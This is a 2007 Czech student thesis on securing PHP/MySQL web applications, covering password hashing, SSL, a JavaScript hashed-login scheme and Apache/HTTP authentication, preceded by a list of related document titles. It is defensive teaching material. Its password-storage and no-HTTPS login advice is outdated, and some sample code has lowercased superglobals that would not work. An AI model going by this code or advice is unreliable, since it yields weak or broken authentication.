Zabezpečení webových aplikací



Podobné dokumenty
Šifrování Autentizace Bezpečnostní slabiny. Bezpečnost. Lenka Kosková Třísková, NTI TUL. 22. března 2013

Testování webových aplikací Seznam.cz

PHP a bezpečnost. nejen veřejná

1 Webový server, instalace PHP a MySQL 13

PHP PHP je skriptovací programovací jazyk dynamických internetových stránek PHP je nezávislý na platformě

Athena Uživatelská dokumentace v

Třídy a objekty. Třídy a objekty. Vytvoření instance třídy. Přístup k atributům a metodám objektu. $z = new Zlomek(3, 5);

K práci je možné přistoupit následujícím způsobem. Odkaz na práci se nachází na osobním webu autora práce:

Uživatelská příručka pro respondenty

Stručný průvodce aplikací Sběr dat pro RIV

Manuál pro žadatele OBSAH

REGISTRACE A SPRÁVA UŽIVATELSKÉHO ÚČTU

Úvodem 9. Zpětná vazba od čtenářů 10 Zdrojové kódy ke knize 10 Errata 10. Než začneme 11

Už ivatelska dokumentace

Vstupní požadavky, doporučení a metodické pokyny

Modul Ankety verze 1.11 pro redakční systém Marwel 2.8 a 2.7

STŘEDNÍ ŠKOLA INFORMAČNÍCH TECHNOLOGIÍ A SOCIÁLNÍ PÉČE

Pracovní výkazy. návod k použití. Internetová aplikace Pracovní výkazy slouží k zadávání pracovních výkazů od zaměstnanců a externích pracovníků.

1 Administrace systému Moduly Skupiny atributů Atributy Hodnoty atributů... 4

1.1. Základní informace o aplikacích pro pacienta

Uživatelská příručka pro respondenty

Informační systém pro e-learning manuál

Manuál pro studenty. Obsah

Vývoj Internetových Aplikací

Návod na používání webmailu

17. července :51 z moravec@yahoo.com

Uživatelský manuál aplikace. Dental MAXweb

Hitparáda webhackingu nestárnoucí hity. Roman Kümmel

INFORMAČNÍ SYSTÉMY NA WEBU

Po prvním spuštění Chrome Vás prohlížeč vyzve, aby jste zadali své přihlašovací údaje do účtu Google. Proč to udělat? Máte několik výhod:

mbank.cz mtransfer Okamžitá notifikace o mtransferu Dokumentace pro externího partnera

POKYNY K REGISTRACI PROFILU ZADAVATELE

Czech Nature Photo Návod

Manuál k elektronickému podávání přihlášek a žádostí u ÚPV

Uživatelská příručka 6.A6. (obr.1.)

ČNHP. Příručka pro pacienty. Institut biostatistiky a analýz. Vytvořil:

On-line dražební systém EDEN návod k použití

SSL Secure Sockets Layer

Maturitní projekt do IVT Pavel Doleček

Úvod...1 Instalace...1 Popis funkcí...2 Hlavní obrazovka...2 Menu...3 Práce s aplikací - příklad...5

PROFI TDi s.r.o , Želetice 40 Návod k používání systému OTDI.CZ

MƏj úĭet Uživatelský manuál Verze 1.01/2010

Příručka pro dodavatele. Systém EZVR 1.1 Verze dokumentu 1.3 Datum vydání:

UŽIVATELSKÝ MANUÁL PERSONALIZACE MOJE SODEXO V

1. Webový server, instalace PHP a MySQL 13

Fre Prahy 10. Do svého u se můžete přihlásit odkudkoliv na webové adrese

Elektronická komunikace s ČSSZ

Stručný průvodce aplikací Sběr dat pro CEP a CEZ

Aplikace BSMS. Uživatelská příručka - 1 -

Postup získání certifikátu pro uživatele WEB aplikací určených pro Sběry dat pro IS VaV

Databázové aplikace pro internetové prostředí PHP úvod, základní princip, vkládání skriptu, komentáře, výpis na obrazovku

Provozní dokumentace. Seznam orgánů veřejné moci. Příručka pro běžného uživatele

Artlingua Translation API

Dokumentace ke službě SMS Connect.

Uživatelský manuál. Obsah

Manuál pro správu uživatelských účtů aplikace MoneyWeb

Základní uživatelský manuál služby WMS Drive

Provozní dokumentace. Seznam orgánů veřejné moci. Příručka pro běžného uživatele

ISPOP 2019 MANUÁL PRO PRÁCI V REGISTRU ODBORNĚ ZPŮSOBILÝCH OSOB

Pomůcka/manuál pro redakční systém verze 1.0

BI-VWS. Vybrané partie z administrace Webového Serveru Autetizace, autorizace a kontrola přístupu Apache httpd

Uživatelská příručka

Manuál pro implementaci služby PLATBA 24. Datum: 17. prosince 2014 Verze: 1.49

Dokumentace. k modulu. podnikový informační systém (ERP) Datové schránky

Cross- Site Request Forgery

Manuál PVU zadavatel Platnost pro elektronický nástroj X-EN verze 4 a novější

PHP tutoriál (základy PHP snadno a rychle)

Uživatelská příručka

Registr IKTA. Příručka pro uživatele. Institut biostatistiky a analýz. Lékařské a Přírodovědecké fakulty Masarykovy univerzity.

Návod pro práci s webovou aplikací pro zadávání, čištění a odesílání dat z laboratoří do systému EARSS.

Střední odborná škola a Střední odborné učiliště, Hořovice

BRICSCAD V15. Licencování

DUM 15 téma: Příkazy pro řízení přístupu

Uživatelská příručka pro. elektronické podání žádosti o uznání porostů. přístup k výsledkům přehlídek uznávacího řízení

Registrační číslo projektu: CZ.1.07/1.5.00/ Elektronická podpora zkvalitnění výuky CZ.1.07 Vzděláním pro konkurenceschopnost

Obsah přednášky. Představení webu ASP.NET frameworky Relační databáze Objektově-relační mapování Entity framework

Groupwise PŘÍSTUP A NASTAVENÍ OVÉ SCHÁNKY PŘES WEBOVÉ ROZHRANÍ

Registrace a aktivace uživatelského profilu k přístupu do systému erecept pro pacienta

Práce s ovými schránkami v síti Selfnet

PTÁČEK - velkoobchod. eshop. ZÁKAZNICKÝ pracovní postup

FIO API PLUS. Verze 1.1.1

Současný svět Projekt č. CZ.2.17/3.1.00/32038, podpořený Evropským sociálním fondem v rámci Operačního programu Praha adaptabilita

Postup nastavení bezpečné ové schránky pro zákazníky Logicentra

Ing. Přemysl Brada, MSc., Ph.D. Ing. Martin Dostal. Katedra informatiky a výpočetní techniky, FAV, ZČU v Plzni

Moje-Projekty.cz Dokumentace k aplikaci

Max Homebanking PS uživatelský manuál rozhraní pro automatické stahování dat

Národní elektronický nástroj. Import profilu zadavatele do NEN

Formátování pomocí stylů

Uživatel počítačové sítě

1. Pro přihlášení k odběru novinek klikněte na tlačítko Registrace nového uživatele.

PŘÍKAZ K ZADÁNÍ SEPA PLATBY V APLIKACI MULTICASH KB

Redakční systém Joomla. Prokop Zelený

Zaměstnanecký portál nastavení a práce v ESO9 PAM

ANOTACE vytvořených/inovovaných materiálů

Aplikace objednávání svozů

Uživatelská dokumentace

Transkript:

Středoškolská odborná činnost 2006/2007 Obor 10 elektrotechnika, elektronika, telekomunikace a technická informatika Zabezpečení webových aplikací Autor: Martin Šimeček SPŠ a VOŠ Písek, Karla Čapka 402, 397 11 Písek, 4. ročník Konzultant práce: RNDr. Miroslav Procházka (SPŠ a VOŠ Písek) Písek, 2006 Českobudějovický kraj

Prohlašuji tímto, že jsem soutěžní práci vypracoval samostatně pod vedením RNDr. Miroslava Procházky a uvedl v seznamu literatury veškerou použitou literaturu a další informační zdroje včetně internetu. V Písku dne 10. 3. 2007 podpis 2

Anotace 1 Anotace S rozvojem internetu se zvětšuje i množství nejrůznějších dynamických webových stránek, přičemž se ovšem stále častěji zapomíná na zabezpečení. Cílem dokumentu je seznámit programátory webových aplikací se závažnými druhy útoků a zneužití jejich kódu a navrhnout účinná řešení. Zabývá se mimo jiné ochranou webové aplikace před útoky ze strany klienta (SQL Injection, Cross-Site Scripting...), zabezpečení soukromí uživatele - SSL šifrování (a jeho alternativy, pokud není dostupné), jeho pohyb po webu (session-stealing), ale i na první pohled neznatelnými děrami v podobě nechráněných souborů (Google hacking). Postupy, ukázky a hotová řešení jsou realizovány široce dostupným a oblíbeným jazykem PHP a databází MySQL. Teorie je doplněna názornými obrázky, příklady a přiloženou skutečnou aplikaci. 2 Obsah 1 Anotace 3 2 Obsah 3 3 Úvod 4 4 Soukromí uživatele 5 4.1 Uchovávání informací o uživateli 5 4.1.1 Heslo a samotné přihlášení 6 4.1.2 MD5 6 4.1.3 SHA-1 7 4.2 Autentifikace uživatele 7 4.2.1 HTTPS a SSL 7 4.2.2 Alternativa 10 4.2.3 HTTP autentizace a.htaccess 12 4.2.4 HTTP Autentizace 14 4.3 Přenos informací o uživateli mezi stránkami 14 4.3.1 Session stealing 15 5 Vstupy 17 5.1 Vstupy do subsystémů 18 5.1.1 Lístkový systém 18 5.1.2 E-mailový formulář 18 5.1.3 SQL Injection 19 5.2 Řídící vstupy 22 5.2.1 Kontrola oprávnění 23 5.3 Obecně 23 6 Výstup 24 6.1 XSS 24 6.2 PHP Include Injection 25 7 Další metody 27 7.1 Logování (záznamy) 27 7.2 Ochrana proti spamu 27 7.2.1 Formulářový spam 27 7.2.2 E-mailový spam 29 7.3 Upload souborů 29 7.4 Google 31 8 Závěr - shrnutí 33 9 Použité zdroje a odkazy 34 10 Přílohy 37 10.1 Ukázkové aplikace 37 10.1.1 Zabezpečená 37 10.1.2 Nezabezpečná 39 10.2 Skripty 39 3

Úvod 3 Úvod Uživatelsky orientovaný Internet, jak ho známe dnes, prošel rozsáhlým vývojem. Od původně zcela statických stránek, kde případná interakce s uživateli probíhala prostřednictvím e-mailu a jejichž aktualizace obnášela editaci příslušného HTML souboru na serveru (což mnohdy znamená soubor stáhnout, upravit a nahrát zpět). Až po dnešní rozsáhlé webové aplikace schraňující data desítek, stovek, tisíců a více uživatelů, zaměnitelné s desktopovým programem a reagující takřka okamžitě (technologie AJAX 1 ). S přibývajícími možnostmi tvořit dynamické víceuživatelské weby se zároveň objevilo velké množství potenciálních bezpečnostních děr. A kupodivu se to netýká jen malých aplikací pro desítky návštěvníků. Z poslední doby (podzim 2006) mohu jmenovat například projekt pripojtese.cz [1] (XSS 2 ) nebo takeit.cz [2] (SQL Injection 2 ). Napadení se nevyhnul ani webzine Živě.cz [3] (XSS 2 ). Na zabezpečení se tedy zapomíná. Přitom jeho zajištění není tak složité, jak by se mohlo zdát. Samozřejmě není možné poskytnout absolutní ochranu a zároveň uživatelskou přívětivost, ale je možné potenciálního útočníka zpomalit, ztížit mu snažení a zároveň neodradit uživatele. Tato práce se zaměřuje na používané útoky na webové aplikace a způsoby jejich eliminace. Zároveň nabízí jistý teoretický základ problematiky s odkazy na další zdroje. Záměrem bylo shrnout problém a navrhnout přijatelné řešení na jednom místě bez nutnosti procházet ohromné množství materiálů. Členění sleduje průchod uživatele aplikací - od registrace (uložení údajů), přes přihlášení, pohyb po webu, vkládání dat, až po jejich čtení. Následuje ochrana před ohrožením aplikace dalšími metodami (spamy, chybné inkluze apod.). Cílem je definovat základní bezpečností pravidla a postupy nejen pro začínající programátory, ale pro většinu vývojářů, která se s myšlenkou zabezpečení příliš nepotýkala. Větší přístupnosti odpovídá výběr použitých technologií - PHP a MySQL jsou velmi dostupné i na free webhostinzích, kde je může každý využívat zdarma (s jistými omezeními). Doplňuje je ještě JavaScript (jehož podpora je u nejpoužívanějších prohlížečů samozřejmá), který je stále používanější pro zpříjemnění práce s aplikacemi. Příležitostně využívanou technologií pak je nastavování Apache serveru a php.ini pomocí.htaccess. Z předchozího odstavce vyplývají i jisté vstupní znalosti potřebné k využití této práce. Patří mezi ně znalost syntaxe a přehled o základních konstruktech a funkcích HTML, PHP a JS, základní dotazy MySQL a jejich tvorba. Od věci není ani přehled o direktivách PHP a manipulaci s.htaccess. 1 Asynchronous JavaScript and XML - umožňuje zpracovávání požadavků uživatele bez opětovného stažení celé stránky (např. hlasování v anketě). Používá mj. Google mail. 2 Cross-site scripting, SQL Injection - formy útoku, budou rozebrány dále v textu. 4

Soukromí uživatele 4 Soukromí uživatele Ve víceuživatelských online aplikacích je třeba řešit několik základních úkonů: 1. uložení údajů 2. autentifikaci uživatele 3. přenos určitých informací o člověku mezi stránkami 4.1 Uchovávání informací o uživateli Hlavní síla dynamických webových aplikací je právě v práci s více uživateli. Nejčastěji probíhá tak, že člověk se zaregistruje, vybere si přihlašovací údaje (login a heslo) a případně vyplní doplňující informace o své osobě. Tato data jsou pak posléze k dispozici ostatním (např. kontakty na danou osobu) nebo je aplikace dál využívá (např. výběr země v online hře). Dostupnost databází (MySQL je již takřka standardem free webhostingů) přímo nabízí jejich použití za účelem uchování těchto údajů. Jsou optimalizované pro práci s daty a zároveň relativně chráněné před neautorizovaným přístupem (vynechme možnost prolomení přístupového hesla k databázi nebo SQL Injection a jiné zde popsané útoky). Co je v databázi, není neviditelné, proto je velmi nebezpečné ukládat hesla v čistém tvaru. Schopný útočník a děravá aplikace mohou vést k získání kompletního obsahu tabulky uživatelů, odkud pak stačí jen přečíst přihlašovací údaje a zneužít je. Navíc nikdy nevíme, kdo všechno bude mít k databázi přístup a kdo se na data podívá. Není v lidských silách používat důsledně pro každý server jiné heslo, a tak někteří mají heslo jediné, jiní několik řetězců, které mezi sebou střídají... Znamená to, že jakmile kdokoliv získá přihlašovací údaje na jeden server, může je zkusit použít i na jiných - a většinou mu to i vyjde. Hlavní zásadou tedy je neukládat hesla v databázi v tzv. čistém tvaru. Snažíme se zabránit jejich přečtení pouhým okem a zároveň znesnadnit útok hrubou silou. PHP i MySQL nabízejí funkce k jednosměrnému zahashování řetězce některým z k tomu určených algoritmů - jsou jimi MD5() a SHA1(). Tyto funkce na vstupu přijmou text na jehož základě vytvoří hash konstatní délky (nezáleží tedy na délce původního řetězce). MySQL: SELECT MD5( testing ); -> 'ae2b1fca515949e5d54fb22b8ed95575' PHP: md5( test ); -> '098f6bcd4621d373cade4e832627b4f6' I kdyby někdo získal přístup ke kompletní tabulce uživatelů, uvidí nanejvýš hashe jejich hesel (jejichž zneužití je minimální, nicméně reálné). Větší úrovně zabezpečení dosáhneme například kombinací loginu, hesla a tajného řetězce. Do databáze uložíme takto vytvořenou proměnnou $hash: $tajny = Kx6oVQl54 ; $hash = sha1($login.$heslo.$tajny); A při přihlášení pak znovu sestavíme tento řetězec pomocí údajů přijatých od uživatele a zkontrolujeme, zda $hash odpovídá údaji v databázi. Vyhneme se tak hned několika problémům: 1. I když budou mít dva uživatelé stejné heslo, jejich hashe se budou lišit - nelze tak pouhým pohledem na tabulku uživatelů zjistit, kdo má stejné heslo. 2. Souvisí s 1. - nemusíme vyžadovat jedinečná hesla (stačí uživatelská jména). Upozornění že heslo již je použito, zvolte jiné je mimochodem ohromné bezpečnostní riziko, protože stačí jenom s daným řetězcem zkoušet přihlášení na různá jména a je otázkou času, kdy se to povede. 3. Přidáním jedinečného řetězce $tajny je zajištěno, že hash bude jedinečný nejen pro uživatele, ale i pro server (aplikaci) - je tedy velmi nepravděpodobné, že útočník najde v databázi jiné aplikace stejné hashe. 5

Soukromí uživatele Na závěr povídání o uložení hesel ještě není od věci zmínit lidský faktor. Uživatelé mají tendenci volit taková hesla, která se dají dobře zapamatovat - smysluplná slova, žádné speciální znaky, minimum čísel, nestřídání velkých a malých písmen... Většinou tedy stačí použít slovníkový útok nebo zaútočit hrubou silou. Na tvůrci aplikace je pak zvolit kompromis mezi komfortem uživatele a bezpečností. Používané mechanismy jsou: 1. vynutit minimální délku hesla (7-9 znaků je dostačující) 2. vynutit používání malých/velkých písmen, číslic a speciálních znaků 3. vynutit periodickou změnu hesla 4. umožnit kdykoliv heslo změnit 5. uzamknout účet po několika (5-10) neúspěšných pokusech o přihlášení a odemykat ho ručně nebo po určité době Jejich kombinaci je třeba zvážit dle charakteru aplikace. Body 4 a 2 jsou použitelné vždy, naopak 3 může vést k tomu, že si uživatel bude hesla zapisovat nebo volit co nejjednodušší a stanou se tak lépe dostupná. Zapomenuté heslo Dál je třeba myslet na situaci, kdy uživatel heslo zapomene. U menších aplikací není problém, aby rozesílání nových hesel řídil sám administrátor, nicméně je lepší celý postup zautomatizovat. Jako celkem bezpečná cesta se jeví odeslání dočasného hesla na e-mail uvedený při registraci (například formou odkazu, jehož bude parametrem). Vzhledem k tomu, že i e-maily jsou odchytitelné, musí mít toto jednorázové heslo omezenou platnost (v řádech hodin) a musí být okamžitě vyžádána jeho změna. 4.1.1 Heslo a samotné přihlášení Vyžadujeme-li zvlášť velkou úroveň zabezpečení, můžeme si při přihlášení po uživateli vyžádat pouze některé ze znaků jeho hesla. Jejich výběr se mění pochopitelně náhodně a zabraňuje tak získání hesla použitím např. keyloggeru na potenciálně nebezpečné stanici (internetová kavárna nebo v podstatě jakýkoliv počítač mimo naši správu). Tento způsob účinně používají některé banky. Razantně ovšem snižuje uživatelskou přívětivost a je třeba jeho použití důkladně zvážit. 4.1.2 MD5 Tento algoritmus byl vyvinut profesorem Ronaldem L. Rivestem (z Massachusetts Institute of Technology) v roce 1991. Zkratka znamená Message-Digest Algorithm 5. Přijímá na vstupu řetězec libovolné délky a vytváří jeho 128-bitový hash. Dříve se předpokládalo, že je neproveditelné počítačově vytvořit dva řetězce mající stejný hash nebo vytvořit jakýkoliv text mající předem určený hash. Při tvorbě hashe se používají mimo jiné bitové rotace a logické funkce a celá operace je jednosměrná není tedy možné použít reverzní způsob k získání původního řetězce. Algoritmus MD5 je určen pro digitální podepisování, kde musí být velký soubor zkomprimován z důvodu bezpečnosti, než je zašifrován privátním klíčem v public-key šiforvacích systémech (jako např. RSA). Používá se i jako způsob k ověření integrity dat nebo ukládání hesel. [12] V roce 1996 byla objevena vada v návrhu MD5, a i když nebyla zásadní, kryptologové začali raději doporučovat jiné algoritmy, jako je například SHA-1 (i když ani ten již dnes není považován za bezchybný). V roce 2004 byly nalezeny daleko větší chyby a od použití MD5 v bezpečnostních aplikacích se upouští. [11] Funkce pro jeho použití jsou implementovány v mnoha programovacích jazycích (seznam viz [12]). 6

4.1.3 SHA-1 Soukromí uživatele Algoritmus byl specifikován v roce 1995 Americkým Národním úřadem pro bezpečnost (NSA) a je postaven na stejných principech jako MD5. Generuje 160 bitový (40 znaků) hash z řetězce o maximální délce 2 64 1 bitů. [18] uvádí následující příklad: SHA1("The quick brown fox jumps over the lazy dog") = 2fd4e1c6 7a2d28fc ed849ee1 bb76e739 1b93eb12 Bezpečnost byla zpochybněna, když se v roce 2005 podařil útok schopný získat kolizní řetězec za méně než 2 69 operací (pro hrubou sílu je potřeba 2 80 operací). [19] Pokročilejší variantou jsou algoritmy sdružené do skupiny SHA-2. Produkují delší hashe délka (v bitech) se odráží v jejich názvech: SHA-256, SHA-224, SHA-384 a SHA-512. U těchto ještě nebyly detekovány kolize. 4.2 Autentifikace uživatele Než může aplikace s uživatelem komunikovat, a otevřít mu např. přístup k části webu pro registrované, musí ověřit jeho totožnost. Existuje několik způsobů - my se vyhneme biometrickým čidlům a identifikačním kartám a použijeme oblíbené zadání jména (loginu) a hesla. Zaslaný login a heslo jsou porovnány s údaji v tabulce uživatelů a pokud dojde ke shodě, je osoba vpuštěna. Máme dvě možnosti, jak kýžené údaje vyžádat: formulářové přihlášení - používají podkapitoly 4.2.1 a 4.2.2 - Klient pošle přihlašovací data jen jednou a následně používá pouze id relace (session), která mu přísluší. Aplikace si tak může sama zajišťovat odhlášení uživatele (cílené nebo timeout). - Samozřejmostí by mělo být používat pro zadání hesla pole typu password a jeho nevyplňování předem. - Metodou pro odeslání formuláře by měla být výhradně POST. Při použití GET jsou údaje jednoduše čitelné a zůstavají v historii prohlížeče. HTTP přihlášení, využívající možností protokolu - viz podkapitola 4.2.3 Úskalím je v tomto kroku posílání zadaných informací po síti mezi prohlížečem a serverem. V nezašifrované podobě je heslo velmi jednoduše odchytitelné, proto je třeba ho upravit. 4.2.1 HTTPS a SSL Adresa stránky zabezpečené protokolem SSL (tedy s šifrovaným spojením) začíná https://. Mnohdy je zabezpeční indikováno prohlížečem (Opera v adresním řádku - obr. 1, Internet Explorer ve stavovém). Obr. 1 Upozornění na zabezpečnou stránku - Opera Standardní port pro komunikaci přes HTTPS/SSL je 443, standardní port HTTP je 80. [5] 7

Soukromí uživatele Obr. 2 SSL certifiát v IE Obr. 3 SSL certifikát v Opeře Protokol SSL zajišťuje bezpečné spojení mezi dvěma komunikujícími uzly. Jakmile se vymění bezpečné klíče, dochází k symetrickému šifrování. Takové spojení je navíc spolehlivé, protože přenos zprávy obsahuje kontrolu integrity dat prostřednictvím MAC (Message Authentication Code). [5] Průběh ustavení SSL spojení [6]: Klient pošle serveru požadavek na SSL spojení, spolu s různými doplňujícími informacemi (verze SSL, nastavení šifrování atd.). Server pošle klientovi odpověď na jeho požadavek, která obsahuje stejný typ informací a hlavně certifikát serveru. Podle přijatého certifikátu si klient ověří autentičnost serveru. Certifikát také obsahuje veřejný klíč serveru. Na základě dosud obdržených informací vygeneruje klient základ šifrovacího klíče, kterým se bude kódovat následná komunikace. Ten zakóduje veřejným klíčem serveru a pošle mu ho. 8

Soukromí uživatele Server použije svůj soukromý klíč k rozšifrování základu šifrovacího klíče. Z tohoto základu vygenerují jak server, tak klient hlavní šifrovací klíč. Klient a server si navzájem potvrdí, že od teď bude jejich komunikace šifrovaná tímto klíčem. Fáze handshake tímto končí. Je ustaveno zabezpečené spojení šifrované vygenerovaným šifrovacím klíčem. Aplikace od teď dál komunikují přes šifrované spojení. Například POST požadavek na server se do této doby neodešle. Díky této provázanosti klienta a serveru není možné komunikaci úspěšně odposlechnout ani do ní zasáhnout (MITM - man in the middle - člověk uprostřed komunikační cesty). Útočník by musel vytvořit vlastní pár veřejný/soukromý klíč a prostřednictvím něj komunikovat s klientem, ale na to by upozornil prohlížeč ( Certifikát je podepsán neznámou certifikační autoritou ). HTTPS se používá jako cílová stránka odeslání požadavku. Je samozřejmě možné provozovat celé stránky výhradně na HTTPS, ale protože většinou přesouváme citlivá data jen při konkrétních operacích (přihlášení, změna údajů, bankovní transakce apod.) je to zbytečně zpomalující. Ještě k certifikátům. Jedná se vlastně o digitálně podepsané veřejné klíče vydané buď certifikační autoritou (CA) - potom jsou v prohlížeči zobrazeny jako důvěryhodné, je-li daná autorita prohlížeči známa - nebo vlastní, u kterých bude uživatel upozorněn, že certifikát není důvěryhodný (Obr. 4) 3. Obr. 4 Upozornění na nedůvěryhodný certifikát - IE a Opera Každý prohlížeč má uložen seznam důvěryhodných CA (Obr. 5). Často se stává, že browser sice zobrazí upozornění, ale uživatel jej ignoruje a klepnutím na Pokračovat ustaví potenciálně nebezpečné SSL spojení. Nehledě na fakt, že ani certifikační společnosti nejsou neomylné. Je znám případ, kdy byl zkompromitován certifikát společnosti Microsoft a to přímo u VeriSignu, jedné z nejznámějších CA [9]. 3 IE 7 je v tomto ohledu ještě restriktivnější a nahrazuje žádanou stránku svou s upozorněním, že spojení není bezpečné. Uživatel pak musí potvrdit, že souhlasí kliknutím na odkaz cíle. 9

Soukromí uživatele Obr. 5 Seznam CA - Opera Další nebezpečí představuje podvržení certifikátu s podobným doménovým jménem. Útočník si může zaregistrovat doménu www.nasebanka.cz a imitovat tak stránku www.nase-banka.cz. Pokud by byl důsledný, přiláká nic netušícího uživatele, ukáže mu totožnou stránku s přihlášením, jako na originální nase-banka.cz a dokonce mu podvrhne (svůj) certifikát vázaný na nasebanka.cz. Přehlédnout to je v tomto případě tak jednoduché... Shrnuto do několika vět, HTTPS je technologicky velmi bezpečný způsob, jak provozovat neodposlechnutelný kanál, který ovšem může být nevhodně použit. Podporuje-li ho náš hostingový server, není lepšího způsobu pro zabezpečení přihlášení uživatele. 4.2.2 Alternativa Pokud z nějakého důvodu nelze použít HTTPS (například jej nepodporuje hosting), můžeme se pokusit ho nahradit. Použitím metody salting 4 získáme hash hesla posílaný po síti s platností na jedno použití. Postup je následující: 1. Při zobrazení přihlašovacího formuláře vygeneruje server náhodnou sekvenci - token, kterou uloží do session a zároveň odešle klientovi. 2. Klient použije JavaScript a nejprve zahashuje do md5 (sha1) zadané heslo a následně tento řetězec spojí s tokenem a vytvoří nový hash, který se již odešle s formulářem. 3. Server zná heslo uživatele i token, takže jen provede stejný sled kroků jako klient - vytáhne z databáze hash hesla příslušného loginu a spojí ho s tokenem ve výsledný md5 (sha1) hash. 4. Nyní stačí jen porovnat přijaté heslo s vytvořeným. Pokud je platné, vygeneruje se nové id relace (funkce session_regenerate_id() ) a smaže se token (unset($_session['token']) ). Tím je zajištěna jednorázovost řetězce. I kdyby útočník zachytil posílané údaje (tedy hash hesla, token a session id), není schopen tyto údaje použít, protože v danou chvíli už neplatí. Výjimkou je technika Man in the middle, jejíž provedení je ale mnohem složitější a nestačí pouze odchytit pakety. 4 Tajný řetězec přisolíme jiným například náhodně vygenerovaným číslem (= salt) a toto spojení předáme hashovací funkci. K získání původního textu je tedy nutné znát i salt. Salting podstatně ztěžuje slovníkový útok a každý bit saltu navíc zdvojnásobuje výpočetní čas nutný pro prolomení. [16] 10

Soukromí uživatele Ukázka JS funkce, která zajišťuje generování jednorázového hashe: function SecureLogin(login_form) { /* Předpoklady: - formulář s <input type='password' name='pass' /> - vygenerovaný token v poli 'token' - includovaný soubor 'sha1.js' Použití: - vkládá se do onsubmit události formuláře - parametrem je document.[název formuláře] */ passw = hex_sha1(login_form.pass.value); sec_pass = hex_sha1(passw+login_form.token.value); login_form.pass.value = sec_pass; } Na získání SHA1 hashe používám skript z [14] poskytující funkci hex_sha1. PHP funkce zajišťující kontrolu přihlášení: /* Generuje nový token. Použije se ve formuláři k umístění do vlastnosti value pole token */ function TokenGenerate() { for ($i = 0; $i < 8; $i++) { $token.= rand(0,9); } $_SESSION['token'] = $token; return $token; } /* Kontroluje, zda souhlasí poslané heslo s databází. Nálsedně ošetřuje jednorázovost. */ function SafeLoginCheck($realpass,$sentpass) { if (sha1($realpass.$_session['token']) == $sentpass) { unset($_session['token']); session_regenerate_id(); return true; } else return false; } Obr. 6 Paket se zahashovaným heslem 11

Soukromí uživatele Nevýhodou tohoto postupu je pochopitelně fakt, že uživatel musí mít JS aktivovaný v prohlížeči. Pokud tomu tak nebude, aplikace by měla umožnit přihlášení i bez něho a uživatele na to upozornit. 4.2.3 HTTP autentizace a.htaccess Výše zmíněná řešení počítala se zpracováním $_POST požadavku přes PHP a následným ověřením v databázi. Existuje však ještě jeden velmi silný způsob ověření výborně použitelný zvlášť v případě, že máme pevně danou sestavu uživatelů (nebo se nečekají rozsáhlé změny, přidávání, mazání, apod...). Je jím HTTP autentizace pomocí.htaccess a.htpasswd dostupných v Apache web serveru [7]. Jak to probíhá? 1. Prohlížeč vyžádá zabezpečenou stránku 2. Webový server odpoví 401 Unauthorized a odešle hlavičku WWW-Authenticate 3. Prohlížeč se zeptá na jméno a heslo (Obr. 7 Autentizace v IE a Obr. 8 Autentizace v Opeře) 4. Prohlížeč vyžádá chráněnou stránku a přiloží přihlašovací údaje 5. Pokud jsou informace správné, odpoví server chráněnou stránkou, jinak vrátí 401 Authorisation required V praxi to vypadá tak, že určíme umístění souboru.htpasswd (z bezpečnostních důvodů by bylo lepší jej uložit nad hlavní složku našeho webu, aby nebyl zjistitelný výpisem souborů, ale to mnohdy - například na freehostingu - není možné) a jeho název (nemusí být nutně.htpasswd). Dále zvolíme název sekce, který se objeví v přihlašovacím okénku a typ autentizace. Vše uložíme do souboru.htaccess ve složce, kterou chceme chránit. AuthUserFile /absolutní cesta/.htpasswd AuthGroupFile /dev/null AuthName "Název sekce" AuthType Basic Require valid-user AuthUserFile: cesta k souboru s hesly AuthGroupFile: cesta k souboru s uživatelskými skupinami - v tomto případě se nepoužívá AuthName: identifikace zabezpečené sekce AuthType: použitá metoda Require: vyžadovaný uživatel - valid-user v tomto případě znamená kohokoliv z definovaného.htpasswd souboru K definování uživatelů v.htpasswd je možné použít utilitu htpasswd dodávanou k Apachi, nebo je zadat ručně, přičemž je třeba mít na paměti, že hesla musejí být zašifrována (PHP funkcí crypt(heslo) a to až na serveru, na němž bude zabezpečení použito - každý server šifruje jinak). Výsledný.htpasswd vypadá pak takto: uživatel1:zašifrované_heslo1 uživatel2:zašifrované_heslo2 uživatel3:zašifrované_heslo3 12

Soukromí uživatele Jakmile se uživatel pokusí přistoupit do zabezpečené složky, objeví se mu takovéto okno vyžadující zadání jména a hesla: Obr. 7 Autentizace v IE Obr. 8 Autentizace v Opeře Problémem u tohoto postupu je rychlost. Server musí kontrolovat uživatele při každém požadavku na zabezpečený dokument, obrázek v zabezpečené složce, atd... Znamená to projet řádek po řádku soubor.htpasswd a najít uživatelské jméno a zkontrolovat heslo. Při větší délce souboru s hesly to znamená značné zpomalení. Další nevýhodou je fakt, že tento způsob neumí logout, tedy odhlášení uživatele, a přihlašovací údaje se posílají neustále až do zavření okna prohlížeče. Dokumentace k Apache serveru doporučuje místo.htaccess použít direktivu <Directory> v http.conf. Postup je podobný. Více v manuálu [8]. Na závěr je třeba ještě podotknout, že přihlašovací údaje jsou mezi prohlížečem a serverem přenášeny v čisté podobě (použijeme-li AuthType Basic 5 - viz Obr. 9), resp. zakódované jednoduchým base64. A vzhledem k tomu, že se údaje přenášejí s každým požadavkem, je 5 Další možností (bezpečnější) je AuthType Digest. Je podporován v PHP od verze 5.1.0, jeho zpracování je složitější a je popsáno v manuálu [13]. 13

Soukromí uživatele mnohem jednodušší je zachytit. Použití HTTPS v tomto případě způsobí značný pokles výkonu (neustálá výměna certifikátů při každém požadavku). Obr. 9 - Basic autorizace.htaccess a jméno a heslo v čistém tvaru 4.2.4 HTTP Autentizace Je alternativou k ověření uživatele poskytovaným Apache serverem a liší se v tom, že zadaná data zpracovává přímo naše aplikace, takže máme širší možnosti manipulace. Jednoduchý příklad v PHP [13]: <?php if (!isset($_server['php_auth_user'])) { header('www-authenticate: Basic realm="my Realm"'); header('http/1.0 401 Unauthorized'); echo 'Text to send if user hits Cancel button'; exit; } else { echo "<p>hello {$_SERVER['PHP_AUTH_USER']}.</p>"; echo "<p>you entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>"; }?> Zjistí, jestli je uživatel přihlášen. Pokud není, odešle prohlížeči hlavičku s žádostí o zobrazení přihlašovacího okýnka, které ponese název My Realm a zároveň upozorní, že není přihlášeno (401 Unauthorized). Kliknutím na Storno se zobrazí echo text, OK naopak vyvolá tutéž stránku (skript), ale už budou vyplněné proměnné PHP_AUTH_USER, PHP_AUTH_PW, a AUTH_TYPE (pro jméno, heslo a typ přihlášení), s kterými se pak dál může pracovat. Platí totéž, co pro omezenějšího bratříčka popsaného výše - přihlašovací údaje se posílají na každou stránku až do uzavření okna prohlížeče 6. 4.3 Přenos informací 